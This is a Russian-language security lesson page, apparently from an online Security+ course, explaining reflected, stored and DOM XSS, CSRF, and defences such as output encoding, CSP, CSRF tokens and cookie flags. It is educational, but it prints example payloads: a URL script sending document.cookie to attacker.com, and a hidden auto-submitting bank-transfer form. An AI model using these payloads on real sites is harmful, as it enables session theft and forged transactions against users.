0Pricing
Security+ Academy · Урок

Межсайтовый скриптинг (XSS) и CSRF

Разберитесь во внедрённом, хранимом и основанном на DOM XSS, а также в атаках подделки межсайтовых запросов и средствах защиты на уровне браузера, которые их блокируют.

«Межсайтовый скриптинг (XSS) и CSRF» — бесплатный урок Security+ Academy на CoddyKit. Это урок 2 из 4. Ты можешь прочитать весь урок бесплатно ниже — а потом практиковать его прямо в браузере с встроенным редактором кода и ИИ-репетитором 24/7. Это часть пути обучения Security+ Academy, и твой прогресс синхронизируется между веб-версией и приложением CoddyKit. Курс Security+ Academy содержит 4 уроков всего.

Что такое межсайтовый скриптинг?

Межсайтовый скриптинг (XSS) — это уязвимость клиентской инъекции, при которой атакующий внедряет вредоносные скрипты в веб-страницы, просматриваемые другими пользователями. В отличие от SQL-инъекции, направленной на Server, XSS атакует браузер жертвы. Когда браузер отображает скрипт атакующего, тот выполняется с теми же правами, что и легитимные скрипты страницы, что позволяет перехватывать сеансы, красть учётные данные и распространять вредоносные программы.

Отражённый XSS

Отражённый XSS возникает, когда вредоносный скрипт внедрён в URL, а Server немедленно «отражает» его обратно в HTTP-ответе без надлежащего кодирования. Жертву обманом (часто с помощью фишинговой ссылки) заставляют перейти по специально сформированному URL, после чего браузер выполняет скрипт атакующего. Отражённый XSS не является постоянным: он выполняется только при переходе жертвы по вредоносной ссылке.

# Malicious URL with reflected XSS payload
https://example.com/search?q=<script>document.location='https://attacker.com/steal?c='+document.cookie</script>

# Server reflects the query param unsanitized into the HTML:
# <p>Results for: <script>...</script></p>

Хранимый XSS и XSS на основе DOM

Хранимый (постоянный) XSS внедряет вредоносный скрипт в базу данных приложения — например, в комментарий или сообщение на форуме. Скрипт выполняется в браузере каждого пользователя, просматривающего эти данные, поэтому хранимый XSS значительно опаснее отражённого. XSS на основе DOM возникает полностью в браузере, когда клиентский JavaScript считывает контролируемые атакующим данные из DOM (например, фрагмент URL) и небезопасно записывает их обратно на страницу.

Защита от XSS: кодирование и CSP

Основная защита от XSS — это кодирование выходных данных: перед отображением в браузере специальные символы преобразуются в соответствующие HTML-сущности (&lt;, &gt;, &amp;). Заголовок Content Security Policy (CSP) ограничивает список скриптов, которым разрешено выполняться, и служит важным дополнительным уровнем защиты. На стороне Server также следует выполнять проверку входных данных по списку разрешённых значений.

# HTTP header — Content Security Policy
Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com; object-src 'none'

# Blocks inline scripts and restricts external script sources

Что такое подделка межсайтовых запросов?

Подделка межсайтовых запросов (CSRF) использует доверие веб-сайта к браузеру аутентифицированного пользователя. Атакующий обманом заставляет браузер жертвы отправить нежелательный аутентифицированный запрос на сайт, где пользователь уже выполнил вход. Поскольку браузер автоматически прикрепляет Cookie сеанса, целевой Server считает запрос легитимным. Распространённые атаки CSRF позволяют переводить средства, изменять адреса электронной почты или настройки учётной записи.

Как работает атака CSRF

Представьте, что пользователь вошёл в свой банковский аккаунт на bank.com. Атакующий отправляет ему письмо со скрытым тегом изображения: <img src='https://bank.com/transfer?to=attacker&amount=1000'>. При открытии письма браузер автоматически загружает URL изображения и отправляет запрос на перевод вместе с Cookie банковского сеанса жертвы. Банк обрабатывает его как легитимный запрос.

<!-- Malicious hidden form on attacker's page -->
<form action='https://bank.com/transfer' method='POST' id='csrf'>
  <input type='hidden' name='to' value='attacker_account' />
  <input type='hidden' name='amount' value='5000' />
</form>
<script>document.getElementById('csrf').submit();</script>

Защита от CSRF: токены и SameSite

Самая эффективная защита от CSRF — это токен CSRF: уникальное непредсказуемое значение, встроенное в каждую форму и проверяемое на стороне Server. Поскольку атакующий не может прочитать токен из другого источника (политика одного источника), поддельные запросы не содержат действительного токена и отклоняются. Атрибут Cookie SameSite (SameSite=Strict или Lax) также не позволяет браузерам отправлять Cookie в межсайтовых запросах.

# Set SameSite cookie attribute
Set-Cookie: sessionid=abc123; SameSite=Strict; Secure; HttpOnly

# HTML hidden CSRF token in form
<input type='hidden' name='csrf_token' value='a8f3b2c7d1e4...' />

XSS и CSRF: ключевые различия

XSS и CSRF часто путают, но они нацелены на разные объекты. XSS внедряет вредоносный скрипт, выполняющийся в браузере жертвы, и использует доверие пользователя к веб-сайту. CSRF подделывает запросы из браузера жертвы к доверенному сайту и использует доверие веб-сайта к браузеру пользователя. XSS можно применять для кражи токенов CSRF, фактически объединяя эти две уязвимости в цепочку.

Флаги Cookie HttpOnly и Secure

Флаги Cookie обеспечивают важную защиту от XSS. Флаг HttpOnly запрещает JavaScript обращаться к Cookie через document.cookie, поэтому кража токена сеанса становится сложнее даже при наличии XSS. Флаг Secure гарантирует, что Cookie передаются только по HTTPS, предотвращая их перехват по незашифрованным каналам. Для всех Cookie сеансов следует устанавливать оба флага как дополнительный уровень защиты.

Set-Cookie: sessionid=xyz789; HttpOnly; Secure; SameSite=Lax; Path=/; Max-Age=3600

Проверка уязвимостей XSS

Специалисты по тестированию безопасности выявляют XSS, внедряя проверочные полезные нагрузки в каждое поле ввода, параметр URL, заголовок HTTP и поле JSON. Простая проверка — <script>alert(1)</script>: если появляется окно предупреждения, наличие XSS подтверждено. Такие инструменты, как Burp Suite, автоматизируют сканирование XSS, а OWASP ZAP предоставляет бесплатное активное сканирование. Для XSS на основе DOM требуется анализ JavaScript в браузере, а не проверка ответа Server.

Реальные последствия XSS

Атаки XSS причиняли значительный ущерб в реальном мире. Червь Samy в 2005 году распространился по MySpace за 20 часов, используя хранимый XSS для самостоятельного копирования более чем в миллион профилей. Атаки XSS могут красть токены сеансов и полностью захватывать учётные записи, перенаправлять пользователей на фишинговые сайты, доставлять браузерные эксплойты (загрузки без ведома пользователя) и изменять содержимое страниц, показывая выбранным пользователям ложную информацию.

Быстрая проверка

Проверьте своё понимание концепций CompTIA Security+ (SY0-701), рассмотренных в этом уроке.

Итоги урока

В этом уроке Вы узнали, что XSS внедряет скрипты в страницы, просматриваемые другими пользователями, CSRF обманом заставляет аутентифицированные браузеры отправлять поддельные запросы, а кодирование выходных данных, CSP, токены CSRF и атрибут Cookie SameSite являются основными средствами защиты. Далее мы рассмотрим нарушения аутентификации и небезопасную десериализацию.

Часто задаваемые вопросы

Урок «Межсайтовый скриптинг (XSS) и CSRF» бесплатный?

Да — полный текст урока «Межсайтовый скриптинг (XSS) и CSRF» бесплатно доступен здесь в веб-версии. Чтобы практиковать его интерактивно (встроенный редактор кода и ИИ-репетитор 24/7) и разблокировать остальной курс Security+ Academy, подпишись на CoddyKit PRO. Курс Security+ Academy содержит 4 уроков всего.

Чему я научусь в уроке «Межсайтовый скриптинг (XSS) и CSRF»?

Разберитесь во внедрённом, хранимом и основанном на DOM XSS, а также в атаках подделки межсайтовых запросов и средствах защиты на уровне браузера, которые их блокируют. Ты практикуешь Security+ Academy с помощью реального кода, который запускаешь прямо в браузере, и ИИ-репетитор 24/7 отвечает на твои вопросы во время урока.

Нужен ли мне опыт, чтобы начать Security+ Academy?

Предыдущий опыт не требуется. Security+ Academy на CoddyKit структурирован для всех уровней — от новичков до продвинутых, поэтому ты можешь начать отсюда или с самого начала и учиться в своем темпе. Это урок 2 из 4.

Сколько времени занимает урок «Межсайтовый скриптинг (XSS) и CSRF»?

Большинство уроков CoddyKit занимают около 5–10 минут. Каждый из них компактный и интерактивный, поэтому ты постоянно делаешь прогресс и продолжаешь с того же места в веб-версии и приложении.

Можно ли писать и запускать код в этом уроке Security+ Academy?

Да. Каждый урок Security+ Academy включает встроенный редактор кода, поэтому ты пишешь и запускаешь реальный код прямо в браузере и получаешь моментальную обратную связь от AI — локальная установка не требуется.

Все уроки этого курса

  1. SQL-инъекции и командные инъекции
  2. Межсайтовый скриптинг (XSS) и CSRF
  3. Нарушенная аутентификация и небезопасная десериализация
  4. Безопасный SDLC, инструменты SAST и DAST
← Назад к Security+ Academy